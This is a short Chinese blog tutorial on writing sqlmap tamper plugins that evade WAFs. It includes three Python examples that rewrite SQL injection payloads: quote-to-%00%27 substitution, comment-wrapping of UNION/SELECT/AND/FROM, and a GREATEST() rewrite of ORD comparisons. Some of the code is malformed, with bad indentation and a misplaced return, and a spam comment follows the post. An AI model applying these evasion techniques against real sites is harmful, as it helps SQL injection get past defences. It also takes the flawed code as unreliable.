tamper 编写简述

/ 2评 / 0

tamper是sqlmap的一个集合的专门用来过WAF的插件,近期对这个比较感兴趣,就收集收集整理整理下。

下面是一个简单版的payload 代码:

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOW

def dependencies():
    pass

def tamper(payload,**kwargs):
    if payload:
		payload = payload.replace('\'', "%00%27")
		print payload
return payload

第一行和三行,都是制定插件的优先级的,一般是起作用于多个插件之间排序用的。

Dependencies() 这个函数不清楚而且大部分都是 pass ,所以我也就不去注意了。

Def tamper(payload,**kwargs)是这个插件的核心函数,payload 是主要的传递参数,**kwargs 也用少,没仔细测过。

用过 if 判断这个 payload 是否存有参数,如果有,那么把里面的 单引号’替换为 %00%27 。

最后返回函数本身这个 payload ,那个print 是我测试的时候输出看看的。

一般大家过狗的时候,都是使用 /**/,在注释里面添加一些特殊符号,等等来绕过正则,那么简单的编写可以这样:

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOW

def dependencies():
    pass

def tamper(payload,**kwargs):
    if payload:
		csfh = "/*@^.^@*/"
		payload = payload.replace('UNION',csfh+"UNION"+csfh)
		payload = payload.replace('SELECT',csfh+"SELECT"+csfh)
		payload = payload.replace('AND',csfh+"AND"+csfh)
		payload = payload.replace('=',csfh+"="+csfh)
		payload = payload.replace(' ',csfh)
		payload = payload.replace('FROM',csfh+"FROM"+csfh)
return payload

这个主要是把联合查询的周围都加上/**/来绕过。

当然如果自己写,肯定不止这些了,可以通过正则把一些语句正则出来,然后再去替换自己需要修改的SQL语句。

#!/usr/bin/env python

Import re
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW

def dependencies():
	pass
	
def tamper(payload, **kwargs):
    retVal = payload
    if payload:
        match = re.search(r"(if\()(ORD\(.*?\))>(\d+)", payload, re.I)
        if match:
            _ = "%sGREATEST(%s,%s+1)=%s" % (match.group(1), match.group(2), match.group(3), match.group(2))
            retVal = retVal.replace(match.group(0), _)
return retVal

这个是乌云漏洞库一个58的漏洞,白帽子自己写了一个过WAF的方法插件。

不过这种绕过方法就得靠自己扎实的SQL语法和正则能力了。

我在知乎记录的关于 python 的正则:https://zhuanlan.zhihu.com/p/27045156

2条回应:“tamper 编写简述”

  1. AuroraSmall说道:

    I have checked your blog and i’ve found some duplicate content, that’s why you don’t rank high in google, but there is
    a tool that can help you to create 100% unique content,
    search for: Boorfe’s tips unlimited content

发表评论

电子邮件地址不会被公开。 必填项已用*标注